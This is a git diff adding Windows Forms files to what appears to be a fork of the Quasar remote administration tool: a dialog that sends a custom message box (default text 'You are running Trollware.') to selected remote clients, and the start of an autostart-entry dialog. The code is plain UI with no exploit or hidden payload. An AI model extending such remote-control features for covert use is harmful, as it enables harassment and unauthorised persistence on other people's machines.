5v8eFNn/Hlfg/xuk9f+EY4r/uXqF/4K+4/9Xp+P/JZHk/yyU5f8skOL+Lo/h/zaQ3/k/kNwsAAAAAAB/ + /wJVqv8DAAAAADeq6E4ztvf/Mbz3/jPB+/80xPz/OMr//yi69v+JdZD/63dn/+htZP9tean/P3j//1ZE + //9FQP//QDj9/0Ip8P81dO7/gXma/+tpXv/ibGH/eGiS/yGU6P8ynej/L5jm/y6U5P4ukuL/M5De/ziJ + 1j8AAAAAVVWqA1Wq/wMAAAAAO67sUja/+/80xPv+Nsn+/znN//8vzP//ibPT///i3P/t+f7/7/T3/+LB + 0P9Zh+L/fYz//2ZP/v9ONP//TmD//2qb2v/qx8n/3+To/9vf4f/rxb//c5fG/y6g7P81oOn/MZrm/jGW + 5P8ykeD/M4nXQQAAAAB/f/8CVaqqAwAAAABNuetCQ8f7/z3N//8/0f/+PNX//0/O+P/v8vb/6uvq/2Fe + Yf9UU1n/4dze/7zL8f9Htvr/V6T//1Cf//9Pvfr/1N/w/9XR0v9QTlL/Ylxd/9zU0P/Rz9f/RqPk/z6r + 7v89pOn+O5/o/zeW4v05i9g1AAAAAH9//wIA//8BAAAAACU3h6Jjzfz/Udj//VDZ/v9C2f//et76//// + //+sqqn/OTQz/zw2Nv+gmJn/+vv//1zO+P9c4///WuD//3HV+v//////lI2N/zYsK/87MCz/qp+d//ft + 6/9psuP/S7b0/0+w7f9Oruz9RJng/xoldJwAAAAAAAD/AQAAAAAUGIFJEBGT/3i67v5x5P//Xt3+/1fg + /v965P3//////+Ph4P+BeHT/eGpm/9zU0f/s/v//Z939/2bf//9j3f//ct3+//n////Uysf/YE5I/2VR + Sv/az8v/8erp/27B7/9dwff/Yrnw/23A8/5Oi87/DQ5x/xsed0IAAAAAAAAAABYZnp4KB7r/ZYvm+5r0 + //9x4P7/dOr//27s/v/R9f7///////Lz9f/s8fL///78/6zp+v9g5f//auX//2nj//9g4P//vur5//// + /P/j4+P/5eXm///59P+62uv/Yc7+/2rG+P9zvvH/h8/3/0VowvsLB4z/FxyClwAAAAAzM5kFFxm30RgT + 0v89Teb9pen//4/u//+S2Oz/acjl/4Py///r5t7///Dk///r2f/R1Mz/Z+X9/2Xo//9o5v//aOX//2Lj + //9s3Pv/3s3C///h0f//28r/1sXD/2XS//9krd3/eLPh/4TM+P+HwvH/KjXG/RgUsv8XGpHKVVVVAyQk + ow4cHMnpKCbk/0M77f6Gufn/ovn//8PY0P+8fXP/Sc/4/4n3/v/v0aX/372R/23k9P9g7P//Zen+/2Xp + //9j5///Y+T+/1nj//9t0+v/6JVo/9qUdf9bzfn/Qavs/9FqWv+dts//jdn//2uQ5v80Ktn+JiPQ/xwc + pOIZGWYKPz+/ECUk1+w3Mu7/Y1Xz/niF+v+V5P7/rvn//+u9nf+gZ2v/Uoy6/2yhyP9v4PL/ZfH//2Tr + //9h7P//Yen//2Do//9d5v//W+H+/1Pk//9r0er/XpDA/0dmpf+wSkv/0puO/4XX//9/vfH/aGfr/1dH + 5/4zLd3/IyCz5hkZfwpmZuUKMjDi40E68/9oXvX+e2z5/3Ka/P+p9f//vfr//+LVvv/lo4X/zKWS/3jm + +P9u8P//Ze3//2Ds//9c6///Wej//1fm//9W4/7/VuH//2zY9P/NkHz/2IBp/7+xrv+M2f7/idH4/2h9 + 7/90YPH/XFDq/T004v8sJ8DbHx9/CP///wQ+O+jNPTf2/1xS9PtqX/j9V0r2/neW9/7L///+uP///a7/ + //2c+///gvL//3Hv//9o7v//X+3//1rq//9W6P//Vef//1bk//9a4f//ZeD//3Xk//985P/9i+b//avk + /P5mfu7+Vkbv/mRX8P1SR+n7PjTj/zItwcZ/fwACAAAAAEBA5649Nvz/VUb8/FVH+/9KPvP/Nyvp/3F/ + 7v/K8v//xf7//6Ty/f6K8P/7du7//mrt//5i7P//W+v//1fo//9X5v//W+T//mPi//1u4P38gd///qbs + //+23f7/Z3Do/zcr4v9IO+z/UEHz/00/8/w9M+f/NS6+pgAAAAAAAAAAbGrrhGBT7/9uWvDCbFvwzFxO + 6uBJPt/oMyPW5Ghm4cjQ9P3Eyfr//rz///+a9v//gu///3Dr//5m6f78Yef+/GXk//5y5v//h+r//6f1 + //+37P39xub8wmxm4co2KdLlRTjX6E8/3+BcS+TMcl7uxF1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA + AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv + /vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978 + /2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/ + /wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af// + /wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA + AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8= + + + \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs b/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs new file mode 100644 index 0000000..47cf998 --- /dev/null +++ b/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs @@ -0,0 +1,193 @@ +namespace Quasar.Server.Forms +{ + partial class FrmShowMessagebox + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmShowMessagebox)); + this.groupMsgSettings = new System.Windows.Forms.GroupBox(); + this.cmbMsgIcon = new System.Windows.Forms.ComboBox(); + this.lblMsgIcon = new System.Windows.Forms.Label(); + this.cmbMsgButtons = new System.Windows.Forms.ComboBox(); + this.lblMsgButtons = new System.Windows.Forms.Label(); + this.txtText = new System.Windows.Forms.TextBox(); + this.txtCaption = new System.Windows.Forms.TextBox(); + this.lblText = new System.Windows.Forms.Label(); + this.lblCaption = new System.Windows.Forms.Label(); + this.btnPreview = new System.Windows.Forms.Button(); + this.btnSend = new System.Windows.Forms.Button(); + this.groupMsgSettings.SuspendLayout(); + this.SuspendLayout(); + // + // groupMsgSettings + // + this.groupMsgSettings.Controls.Add(this.cmbMsgIcon); + this.groupMsgSettings.Controls.Add(this.lblMsgIcon); + this.groupMsgSettings.Controls.Add(this.cmbMsgButtons); + this.groupMsgSettings.Controls.Add(this.lblMsgButtons); + this.groupMsgSettings.Controls.Add(this.txtText); + this.groupMsgSettings.Controls.Add(this.txtCaption); + this.groupMsgSettings.Controls.Add(this.lblText); + this.groupMsgSettings.Controls.Add(this.lblCaption); + this.groupMsgSettings.Location = new System.Drawing.Point(12, 12); + this.groupMsgSettings.Name = "groupMsgSettings"; + this.groupMsgSettings.Size = new System.Drawing.Size(325, 146); + this.groupMsgSettings.TabIndex = 0; + this.groupMsgSettings.TabStop = false; + this.groupMsgSettings.Text = "Messagebox Settings"; + // + // cmbMsgIcon + // + this.cmbMsgIcon.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbMsgIcon.FormattingEnabled = true; + this.cmbMsgIcon.Location = new System.Drawing.Point(147, 107); + this.cmbMsgIcon.Name = "cmbMsgIcon"; + this.cmbMsgIcon.Size = new System.Drawing.Size(162, 21); + this.cmbMsgIcon.TabIndex = 8; + // + // lblMsgIcon + // + this.lblMsgIcon.AutoSize = true; + this.lblMsgIcon.Location = new System.Drawing.Point(42, 110); + this.lblMsgIcon.Name = "lblMsgIcon"; + this.lblMsgIcon.Size = new System.Drawing.Size(99, 13); + this.lblMsgIcon.TabIndex = 7; + this.lblMsgIcon.Text = "Messagebox Icon:"; + // + // cmbMsgButtons + // + this.cmbMsgButtons.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbMsgButtons.FormattingEnabled = true; + this.cmbMsgButtons.Location = new System.Drawing.Point(147, 80); + this.cmbMsgButtons.Name = "cmbMsgButtons"; + this.cmbMsgButtons.Size = new System.Drawing.Size(162, 21); + this.cmbMsgButtons.TabIndex = 6; + // + // lblMsgButtons + // + this.lblMsgButtons.AutoSize = true; + this.lblMsgButtons.Location = new System.Drawing.Point(23, 83); + this.lblMsgButtons.Name = "lblMsgButtons"; + this.lblMsgButtons.Size = new System.Drawing.Size(118, 13); + this.lblMsgButtons.TabIndex = 5; + this.lblMsgButtons.Text = "Messagebox Buttons:"; + // + // txtText + // + this.txtText.Location = new System.Drawing.Point(60, 49); + this.txtText.MaxLength = 256; + this.txtText.Name = "txtText"; + this.txtText.Size = new System.Drawing.Size(249, 22); + this.txtText.TabIndex = 4; + this.txtText.Text = "You are running Trollware."; + // + // txtCaption + // + this.txtCaption.Location = new System.Drawing.Point(60, 21); + this.txtCaption.MaxLength = 256; + this.txtCaption.Name = "txtCaption"; + this.txtCaption.Size = new System.Drawing.Size(249, 22); + this.txtCaption.TabIndex = 2; + this.txtCaption.Text = "Information"; + // + // lblText + // + this.lblText.AutoSize = true; + this.lblText.Location = new System.Drawing.Point(24, 52); + this.lblText.Name = "lblText"; + this.lblText.Size = new System.Drawing.Size(30, 13); + this.lblText.TabIndex = 3; + this.lblText.Text = "Text:"; + // + // lblCaption + // + this.lblCaption.AutoSize = true; + this.lblCaption.Location = new System.Drawing.Point(6, 24); + this.lblCaption.Name = "lblCaption"; + this.lblCaption.Size = new System.Drawing.Size(51, 13); + this.lblCaption.TabIndex = 1; + this.lblCaption.Text = "Caption:"; + // + // + // btnPreview + // + this.btnPreview.Location = new System.Drawing.Point(181, 168); + this.btnPreview.Name = "btnPreview"; + this.btnPreview.Size = new System.Drawing.Size(75, 23); + this.btnPreview.TabIndex = 5; + this.btnPreview.Text = "Preview"; + this.btnPreview.UseVisualStyleBackColor = true; + this.btnPreview.Click += new System.EventHandler(this.btnPreview_Click); + // + // btnSend + // + this.btnSend.Location = new System.Drawing.Point(262, 168); + this.btnSend.Name = "btnSend"; + this.btnSend.Size = new System.Drawing.Size(75, 23); + this.btnSend.TabIndex = 6; + this.btnSend.Text = "Send"; + this.btnSend.UseVisualStyleBackColor = true; + this.btnSend.Click += new System.EventHandler(this.btnSend_Click); + // + // FrmShowMessagebox + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(349, 203); + this.Controls.Add(this.btnSend); + this.Controls.Add(this.btnPreview); + this.Controls.Add(this.groupMsgSettings); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmShowMessagebox"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Show Messagebox []"; + this.Load += new System.EventHandler(this.FrmShowMessagebox_Load); + this.groupMsgSettings.ResumeLayout(false); + this.groupMsgSettings.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.GroupBox groupMsgSettings; + private System.Windows.Forms.ComboBox cmbMsgIcon; + private System.Windows.Forms.Label lblMsgIcon; + private System.Windows.Forms.ComboBox cmbMsgButtons; + private System.Windows.Forms.Label lblMsgButtons; + private System.Windows.Forms.TextBox txtText; + private System.Windows.Forms.TextBox txtCaption; + private System.Windows.Forms.Label lblText; + private System.Windows.Forms.Label lblCaption; + private System.Windows.Forms.Button btnPreview; + private System.Windows.Forms.Button btnSend; + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmShowMessagebox.cs b/Quasar.Server/Forms/FrmShowMessagebox.cs new file mode 100644 index 0000000..04dcfc0 --- /dev/null +++ b/Quasar.Server/Forms/FrmShowMessagebox.cs @@ -0,0 +1,99 @@ +using System; +using System.Windows.Forms; +using Quasar.Server.Helper; + +namespace Quasar.Server.Forms +{ + public partial class FrmShowMessagebox : Form + { + private readonly int _selectedClients; + + public string MsgBoxCaption { get; set; } + public string MsgBoxText { get; set; } + public string MsgBoxButton { get; set; } + public string MsgBoxIcon { get; set; } + public FrmShowMessagebox(int selected) + { + _selectedClients = selected; + + InitializeComponent(); + } + + private void FrmShowMessagebox_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("Show Messagebox", _selectedClients); + + cmbMsgButtons.Items.AddRange(new string[] + {"AbortRetryIgnore", "OK", "OKCancel", "RetryCancel", "YesNo", "YesNoCancel"}); + cmbMsgButtons.SelectedIndex = 0; + cmbMsgIcon.Items.AddRange(new string[] + {"None", "Error", "Hand", "Question", "Exclamation", "Warning", "Information", "Asterisk"}); + cmbMsgIcon.SelectedIndex = 0; + } + + private void btnPreview_Click(object sender, EventArgs e) + { + MessageBox.Show(null, txtText.Text, txtCaption.Text, + (MessageBoxButtons) + Enum.Parse(typeof (MessageBoxButtons), GetMessageBoxButton(cmbMsgButtons.SelectedIndex)), + (MessageBoxIcon) Enum.Parse(typeof (MessageBoxIcon), GetMessageBoxIcon(cmbMsgIcon.SelectedIndex))); + } + + private void btnSend_Click(object sender, EventArgs e) + { + MsgBoxCaption = txtCaption.Text; + MsgBoxText = txtText.Text; + MsgBoxButton = GetMessageBoxButton(cmbMsgButtons.SelectedIndex); + MsgBoxIcon = GetMessageBoxIcon(cmbMsgIcon.SelectedIndex); + + this.DialogResult = DialogResult.OK; + this.Close(); + } + + private string GetMessageBoxButton(int selectedIndex) + { + switch (selectedIndex) + { + case 0: + return "AbortRetryIgnore"; + case 1: + return "OK"; + case 2: + return "OKCancel"; + case 3: + return "RetryCancel"; + case 4: + return "YesNo"; + case 5: + return "YesNoCancel"; + default: + return "OK"; + } + } + + private string GetMessageBoxIcon(int selectedIndex) + { + switch (selectedIndex) + { + case 0: + return "None"; + case 1: + return "Error"; + case 2: + return "Hand"; + case 3: + return "Question"; + case 4: + return "Exclamation"; + case 5: + return "Warning"; + case 6: + return "Information"; + case 7: + return "Asterisk"; + default: + return "None"; + } + } + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmShowMessagebox.resx b/Quasar.Server/Forms/FrmShowMessagebox.resx new file mode 100644 index 0000000..1af8dfb --- /dev/null +++ b/Quasar.Server/Forms/FrmShowMessagebox.resx @@ -0,0 +1,197 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 0v+lzuP/2e3w/9nf8P/PweT/5tnb/3at3P8giuH/K4vf/i6L4P83jdvnVZnuDwAAAAAA//8Bf///AgAA + AABDqug5NK7w/TG09f8xuff+Mr36/y+8+f9u1f3/ld/2/8WHh/92d5//IL7//yVb+P8dE/T/IiPu/yIi + 5v8eFNn/Hlfg/xuk9f+EY4r/uXqF/4K+4/9Xp+P/JZHk/yyU5f8skOL+Lo/h/zaQ3/k/kNwsAAAAAAB/ + /wJVqv8DAAAAADeq6E4ztvf/Mbz3/jPB+/80xPz/OMr//yi69v+JdZD/63dn/+htZP9tean/P3j//1ZE + //9FQP//QDj9/0Ip8P81dO7/gXma/+tpXv/ibGH/eGiS/yGU6P8ynej/L5jm/y6U5P4ukuL/M5De/ziJ + 1j8AAAAAVVWqA1Wq/wMAAAAAO67sUja/+/80xPv+Nsn+/znN//8vzP//ibPT///i3P/t+f7/7/T3/+LB + 0P9Zh+L/fYz//2ZP/v9ONP//TmD//2qb2v/qx8n/3+To/9vf4f/rxb//c5fG/y6g7P81oOn/MZrm/jGW + 5P8ykeD/M4nXQQAAAAB/f/8CVaqqAwAAAABNuetCQ8f7/z3N//8/0f/+PNX//0/O+P/v8vb/6uvq/2Fe + Yf9UU1n/4dze/7zL8f9Htvr/V6T//1Cf//9Pvfr/1N/w/9XR0v9QTlL/Ylxd/9zU0P/Rz9f/RqPk/z6r + 7v89pOn+O5/o/zeW4v05i9g1AAAAAH9//wIA//8BAAAAACU3h6Jjzfz/Udj//VDZ/v9C2f//et76//// + //+sqqn/OTQz/zw2Nv+gmJn/+vv//1zO+P9c4///WuD//3HV+v//////lI2N/zYsK/87MCz/qp+d//ft + 6/9psuP/S7b0/0+w7f9Oruz9RJng/xoldJwAAAAAAAD/AQAAAAAUGIFJEBGT/3i67v5x5P//Xt3+/1fg + /v965P3//////+Ph4P+BeHT/eGpm/9zU0f/s/v//Z939/2bf//9j3f//ct3+//n////Uysf/YE5I/2VR + Sv/az8v/8erp/27B7/9dwff/Yrnw/23A8/5Oi87/DQ5x/xsed0IAAAAAAAAAABYZnp4KB7r/ZYvm+5r0 + //9x4P7/dOr//27s/v/R9f7///////Lz9f/s8fL///78/6zp+v9g5f//auX//2nj//9g4P//vur5//// + /P/j4+P/5eXm///59P+62uv/Yc7+/2rG+P9zvvH/h8/3/0VowvsLB4z/FxyClwAAAAAzM5kFFxm30RgT + 0v89Teb9pen//4/u//+S2Oz/acjl/4Py///r5t7///Dk///r2f/R1Mz/Z+X9/2Xo//9o5v//aOX//2Lj + //9s3Pv/3s3C///h0f//28r/1sXD/2XS//9krd3/eLPh/4TM+P+HwvH/KjXG/RgUsv8XGpHKVVVVAyQk + ow4cHMnpKCbk/0M77f6Gufn/ovn//8PY0P+8fXP/Sc/4/4n3/v/v0aX/372R/23k9P9g7P//Zen+/2Xp + //9j5///Y+T+/1nj//9t0+v/6JVo/9qUdf9bzfn/Qavs/9FqWv+dts//jdn//2uQ5v80Ktn+JiPQ/xwc + pOIZGWYKPz+/ECUk1+w3Mu7/Y1Xz/niF+v+V5P7/rvn//+u9nf+gZ2v/Uoy6/2yhyP9v4PL/ZfH//2Tr + //9h7P//Yen//2Do//9d5v//W+H+/1Pk//9r0er/XpDA/0dmpf+wSkv/0puO/4XX//9/vfH/aGfr/1dH + 5/4zLd3/IyCz5hkZfwpmZuUKMjDi40E68/9oXvX+e2z5/3Ka/P+p9f//vfr//+LVvv/lo4X/zKWS/3jm + +P9u8P//Ze3//2Ds//9c6///Wej//1fm//9W4/7/VuH//2zY9P/NkHz/2IBp/7+xrv+M2f7/idH4/2h9 + 7/90YPH/XFDq/T004v8sJ8DbHx9/CP///wQ+O+jNPTf2/1xS9PtqX/j9V0r2/neW9/7L///+uP///a7/ + //2c+///gvL//3Hv//9o7v//X+3//1rq//9W6P//Vef//1bk//9a4f//ZeD//3Xk//985P/9i+b//avk + /P5mfu7+Vkbv/mRX8P1SR+n7PjTj/zItwcZ/fwACAAAAAEBA5649Nvz/VUb8/FVH+/9KPvP/Nyvp/3F/ + 7v/K8v//xf7//6Ty/f6K8P/7du7//mrt//5i7P//W+v//1fo//9X5v//W+T//mPi//1u4P38gd///qbs + //+23f7/Z3Do/zcr4v9IO+z/UEHz/00/8/w9M+f/NS6+pgAAAAAAAAAAbGrrhGBT7/9uWvDCbFvwzFxO + 6uBJPt/oMyPW5Ghm4cjQ9P3Eyfr//rz///+a9v//gu///3Dr//5m6f78Yef+/GXk//5y5v//h+r//6f1 + //+37P39xub8wmxm4co2KdLlRTjX6E8/3+BcS+TMcl7uxF1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA + AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv + /vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978 + /2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/ + /wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af// + /wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA + AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8= + + + \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmStartupAdd.Designer.cs b/Quasar.Server/Forms/FrmStartupAdd.Designer.cs new file mode 100644 index 0000000..ab94839 --- /dev/null +++ b/Quasar.Server/Forms/FrmStartupAdd.Designer.cs @@ -0,0 +1,175 @@ +namespace Quasar.Server.Forms +{ + partial class FrmStartupAdd + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStartupAdd)); + this.groupAutostartItem = new System.Windows.Forms.GroupBox(); + this.lblType = new System.Windows.Forms.Label(); + this.cmbType = new System.Windows.Forms.ComboBox(); + this.txtPath = new System.Windows.Forms.TextBox(); + this.txtName = new System.Windows.Forms.TextBox(); + this.lblPath = new System.Windows.Forms.Label(); + this.lblName = new System.Windows.Forms.Label(); + this.btnAdd = new System.Windows.Forms.Button(); + this.btnCancel = new System.Windows.Forms.Button(); + this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); + this.groupAutostartItem.SuspendLayout(); + this.SuspendLayout(); + // + // groupAutostartItem + // + this.groupAutostartItem.Controls.Add(this.lblType); + this.groupAutostartItem.Controls.Add(this.cmbType); + this.groupAutostartItem.Controls.Add(this.txtPath); + this.groupAutostartItem.Controls.Add(this.txtName); + this.groupAutostartItem.Controls.Add(this.lblPath); + this.groupAutostartItem.Controls.Add(this.lblName); + this.groupAutostartItem.Location = new System.Drawing.Point(12, 12); + this.groupAutostartItem.Name = "groupAutostartItem"; + this.groupAutostartItem.Size = new System.Drawing.Size(653, 105); + this.groupAutostartItem.TabIndex = 0; + this.groupAutostartItem.TabStop = false; + this.groupAutostartItem.Text = "Autostart Item"; + // + // lblType + // + this.lblType.AutoSize = true; + this.lblType.Location = new System.Drawing.Point(35, 74); + this.lblType.Name = "lblType"; + this.lblType.Size = new System.Drawing.Size(33, 13); + this.lblType.TabIndex = 4; + this.lblType.Text = "Type:"; + // + // cmbType + // + this.cmbType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbType.FormattingEnabled = true; + this.cmbType.Location = new System.Drawing.Point(74, 71); + this.cmbType.Name = "cmbType"; + this.cmbType.Size = new System.Drawing.Size(573, 21); + this.cmbType.TabIndex = 5; + this.toolTip1.SetToolTip(this.cmbType, 